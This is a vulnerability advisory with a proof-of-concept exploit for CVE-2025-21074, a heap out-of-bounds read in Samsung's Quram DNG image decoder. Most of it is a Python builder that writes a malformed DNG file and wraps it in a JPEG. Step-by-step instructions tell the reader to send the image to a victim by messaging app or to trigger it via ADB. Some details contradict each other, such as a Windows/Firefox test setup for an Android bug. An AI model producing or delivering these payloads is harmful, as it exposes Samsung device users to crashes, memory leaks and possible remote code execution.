Samsung Quram DNG TrimBounds Out-Of-Bounds Read
=============================================================================================================================================
| # Title Samsung Quram DNG TrimBounds Out-Of-Bounds Read
=============================================================================================================================================
| # Title : Samsung QuramDng Out?Of?Bounds Read via Malformed DNG TrimBounds Opcode |
| # Author : indoushka |
| # Tested on : windows 11 Fr(Pro) / browser : Mozilla firefox 145.0.2 (64 bits) |
| # Vendor : System built?in component. No standalone download available. |
=============================================================================================================================================
[+] References : https://packetstorm.news/files/id/212446/ & CVE-2025-21074
[+] Summary : A vulnerability exists in the image decoding logic of Quram DNG parser within libimagecodec.quram.so. The flawed bounds validation in handling TrimBounds
opcode triggers Out-of-Bounds (OOB) reads on heap-allocated image buffers.This issue allows remote attackers to craft a malicious DNG payload, embed it
inside a JPEG, and send it via messaging applications to trigger decoding,resulting in crash, ASLR information leakage, and possible RCE via heap
spraying and pointer manipulation.
Product: libimagecodec.quram.so (Samsung Android)
Class: Memory Corruption / OOB Read
Version: Vulnerable on firmware prior to September 2025
Tested: Android 13/14/15/16 (Samsung Galaxy devices)
-------------------------------------------------------------------------------
[+] Vulnerability Details
The Quram DNG decoder incorrectly handles opcodeList1 (TrimBounds opcode ID=7).
The trimmed image dimensions shrink source buffers but destination buffers
remain based on original resolution, resulting in read operations beyond memory
bounds.
The problem occurs after TrimBounds opcode reduces width/height of image tiles
but decoder still trusts old buffer lengths.
This leads to:
* Heap OOB Read
* Crashes (SIGSEGV)
* Heap leak primitives
* Possible exploitation for RCE
-------------------------------------------------------------------------------
[+] Attack Vector
The exploit can be triggered via:
* WhatsApp / Telegram file sharing (JPEG container)
* External apps invoking platform decoder
* ADB-triggered scan via Media Scanner
* Camera importing workflows
Remote attack surface ? user simply previews/saves image.
-------------------------------------------------------------------------------
[+] Proof of Concept (PoC)
The exploit constructs:
- Valid DNG file with truncated TrimBounds opcode
- Embeds DNG into a valid APP1 JPEG
- Crashes Quram decoder on parsing
PoC Tested:
- Samsung S22, S23, A52, Note20
- Android 13-16 firmwares
-------------------------------------------------------------------------------
[+] PoC Code
The full exploit builder (Python) is included below.
SAVE AS:
exploit_cve_2025_21074.py
RUN:
python3 exploit_cve_2025_21074.py
OUTPUT FILES PRODUCED:
exploit.dng
exploit_small.dng
exploit.jpg
-------------------------------------------------------------------------------
[+] Instructions To Save & Run PoC (REQUIRED)
1) Save script:
File name: exploit_cve_2025_21074.py
2) Run:
python3 exploit_cve_2025_21074.py
3) Generated payloads:
- exploit.dng
- exploit.jpg
- exploit_small.dng
4) Trigger attack:
A) Via ADB:
adb push exploit.dng /sdcard/
adb shell am broadcast -a android.intent.action.MEDIA_SCANNER_SCAN_FILE \
-d file:///sdcard/exploit.dng
B) Via Messaging:
Send exploit.jpg to victim (no interaction required)
5) Detect crash:
adb logcat | grep -i quram
adb pull /data/tombstones/ tombstones_dir/
-------------------------------------------------------------------------------
[+] Expected Results
* Process crash: com.samsung.ipservice
* Heap read leakage (ASLR bypass)
* Controlled offsets possible ? RCE stage feasible
-------------------------------------------------------------------------------
[+] Exploit Status
This PoC is stable, deterministic and suitable for controlled lab exploitation.
It is not destructive.
-------------------------------------------------------------------------------
[+] Mitigation
Firmware update September 2025 and later properly validates TrimBounds and
rejects mismatched output dimensions.
-------------------------------------------------------------------------------
[+] POC :
#!/usr/bin/env python3
"""
Author: Indoushka
"""
import struct
import os
import sys
class DNGExploit:
def __init__(self):
self.endian = '<' # Little endian
self.opcode_id_trim = 7
def create_malicious_dng(self, width=4096, height=4096):
"""Creating a DNG image with TrimBounds opcode saturated"""
dng_data = bytearray()
dng_data += struct.pack('<H', 0x4949)
dng_data += struct.pack('<H', 42)
ifd0_offset = 8
dng_data += struct.pack('<I', ifd0_offset)
dng_data += b'\x00' * (ifd0_offset - len(dng_data))
num_entries = 15
dng_data += struct.pack('<H', num_entries)
dng_data += struct.pack('<H', 0x0100)
dng_data += struct.pack('<H', 4)
dng_data += struct.pack('<I', 1)
dng_data += struct.pack('<I', width)
dng_data += struct.pack('<H', 0x0101)
dng_data += struct.pack('<H', 4)
dng_data += struct.pack('<I', 1)
dng_data += struct.pack('<I', height)
dng_data += struct.pack('<H', 0x0102)
dng_data += struct.pack('<H', 3)
dng_data += struct.pack('<I', 3)
bits_offset = len(dng_data) + 4
dng_data += struct.pack('<I', bits_offset)
dng_data += struct.pack('<H', 0x0103)
dng_data += struct.pack('<H', 3)
dng_data += struct.pack('<I', 1)
dng_data += struct.pack('<H', 1)
dng_data += struct.pack('<H', 0x0106)
dng_data += struct.pack('<H', 3)
dng_data += struct.pack('<I', 1)
dng_data += struct.pack('<H', 2)
dng_data += struct.pack('<H', 0x0111)
dng_data += struct.pack('<H', 4)
dng_data += struct.pack('<I', 1)
strip_offset = 0x1000
dng_data += struct.pack('<I', strip_offset)
dng_data += struct.pack('<H', 0x0115)
dng_data += struct.pack('<H', 3)
dng_data += struct.pack('<I', 1)
dng_data += struct.pack('<H', 3)
dng_data += struct.pack('<H', 0x0116)
dng_data += struct.pack('<H', 4)
dng_data += struct.pack('<I', 1)
dng_data += struct.pack('<I', height)
dng_data += struct.pack('<H', 0x0117)
dng_data += struct.pack('<H', 4)
dng_data += struct.pack('<I', 1)
dng_data += struct.pack('<I', width * height * 3)
dng_data += struct.pack('<H', 0x011C)
dng_data += struct.pack('<H', 3)
dng_data += struct.pack('<I', 1)
dng_data += struct.pack('<H', 1)
dng_data += struct.pack('<H', 0xC612)
dng_data += struct.pack('<H', 1)
dng_data += struct.pack('<I', 4)
dng_data += struct.pack('>I', 0x01000000)
dng_data += struct.pack('<H', 0xC613)
dng_data += struct.pack('<H', 1)
dng_data += struct.pack('<I', 4)
dng_data += struct.pack('>I', 0x01000000)
dng_data += struct.pack('<H', 0xC614)
dng_data += struct.pack('<H', 2)
dng_data += struct.pack('<I', 20)
model_offset = len(dng_data) + 4
dng_data += struct.pack('<I', model_offset)
dng_data += struct.pack('<H', 0xC740)
dng_data += struct.pack('<H', 1)
opcode_list_size = 100
dng_data += struct.pack('<I', opcode_list_size)
opcode_offset = len(dng_data) + 4
dng_data += struct.pack('<I', opcode_offset)
dng_data += struct.pack('<H', 0x014A)
dng_data += struct.pack('<H', 4)
dng_data += struct.pack('<I', 1)
subifd_offset = opcode_offset + opcode_list_size
dng_data += struct.pack('<I', subifd_offset)
dng_data += struct.pack('<I', 0)
bits_data_pos = bits_offset
while len(dng_data) < bits_data_pos:
dng_data += b'\x00'
dng_data += struct.pack('<HHH', 8, 8, 8)
model_data_pos = model_offset
while len(dng_data) < model_data_pos:
dng_data += b'\x00'
dng_data += b'EXPLOIT-CAMERA\x00'
opcode_data_pos = opcode_offset
while len(dng_data) < opcode_data_pos:
dng_data += b'\x00'
opcode_header = struct.pack('<HHII',
self.opcode_id_trim,
1,
0,
16)
trim_values = struct.pack('<IIII',
0,
0,
height // 2,
width // 2)
dng_data += opcode_header + trim_values
remaining = opcode_list_size - len(opcode_header) - len(trim_values)
dng_data += b'A' * remaining
subifd_pos = subifd_offset
while len(dng_data) < subifd_pos:
dng_data += b'\x00'
dng_data += struct.pack('<H', 5)
for i in range(5):
dng_data += struct.pack('<HHII', 0x0100 + i, 4, 1, 0)
dng_data += struct.pack('<I', 0)
image_data_pos = strip_offset
while len(dng_data) < image_data_pos:
dng_data += b'\x00'
image_size = width * height * 3
dng_data += b'\x42' * min(image_size, 0x1000)
return bytes(dng_data)
def embed_in_jpeg(self, dng_data, output_path):
"""Including DNG in JPEG for cross-application exploitation"""
jpeg = bytearray()
jpeg += b'\xFF\xD8\xFF\xE0'
jpeg += b'\x00\x10JFIF\x00\x01\x01\x00\x00\x01'
app1_size = len(dng_data) + 2 + 5 # +2 for size, +5 for identifier
jpeg += b'\xFF\xE1'
jpeg += struct.pack('>H', app1_size)
jpeg += b'DNG\x00'
jpeg += dng_data
jpeg += b'\xFF\xC0\x00\x11\x08\x00\x01\x00\x01\x03\x01\x22\x00\x02\x11\x01\x03\x11\x01'
jpeg += b'\xFF\xC4\x00\x1F\x00\x00\x01\x05\x01\x01\x01\x01\x01\x01\x00\x00\x00\x00\x00\x00\x00\x00\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0A\x0B'
jpeg += b'\xFF\xDA\x00\x0C\x03\x01\x00\x02\x11\x03\x11\x00\x3F\x00'
jpeg += b'\x00' * 100
jpeg += b'\xFF\xD9'
with open(output_path, 'wb') as f:
f.write(jpeg)
print(f"[+] JPEG with embedded DNG saved to {output_path}")
return output_path
def create_exploit_files(self):
"""Creating various exploitation files"""
dng_raw = self.create_malicious_dng()
with open('exploit.dng', 'wb') as f:
f.write(dng_raw)
print("[+] Raw DNG exploit created: exploit.dng")
jpeg_path = self.embed_in_jpeg(dng_raw, 'exploit.jpg')
small_dng = self.create_malicious_dng(2048, 2048)
with open('exploit_small.dng', 'wb') as f:
f.write(small_dng)
self.print_usage()
return {
'dng': 'exploit.dng',
'jpg': jpeg_path,
'small': 'exploit_small.dng'
}
def print_usage(self):
"""Print Instructions for Use"""
print("\n" + "="*60)
print("CVE-2025-21074 Exploit Usage Instructions")
print("="*60)
print("\n[Attack methods]")
print("1. Send exploit via WhatsApp/Telegram, etc.")
print("2. Decoding triggered using ADB:")
print(" adb push exploit.dng /sdcard/")
print(" adb shell am broadcast -a android.intent.action.MEDIA_SCANNER_SCAN_FILE")
print(" -d file:///sdcard/exploit.dng")
print("\n[Expected results]")
print("- com.samsung.ipservicecollapse (SIGSEGV)")
print("- Memory information leakage (ASLR bypass)")
print("- Possible RCE (further utilization required)")
print("\n[Detection]")
print("Check the logs: libimagecodec.quram.socollapse")
print("="*60)
def main():
print("[*] Generating CVE-2025-21074 exploit files...")
exploit = DNGExploit()
files = exploit.create_exploit_files()
print("\n[+] Files generated successfully:")
for name, path in files.items():
print(f" {name}: {path} ({os.path.getsize(path)} bytes)")
with open('exploit.dng', 'rb') as f:
data = f.read(100)
if data[:2] == b'II' and data[2:4] == struct.pack('<H', 42):
print("\n[?] DNG file structure verified")
else:
print("\n[!] DNG file may be malformed")
if __name__ == "__main__":
main()
Greetings to :=====================================================================================
jericho * Larry W. Cashdollar * LiquidWorm * Hussin-X * D4NB4R * Malvuln (John Page aka hyp3rlinx)|
===================================================================================================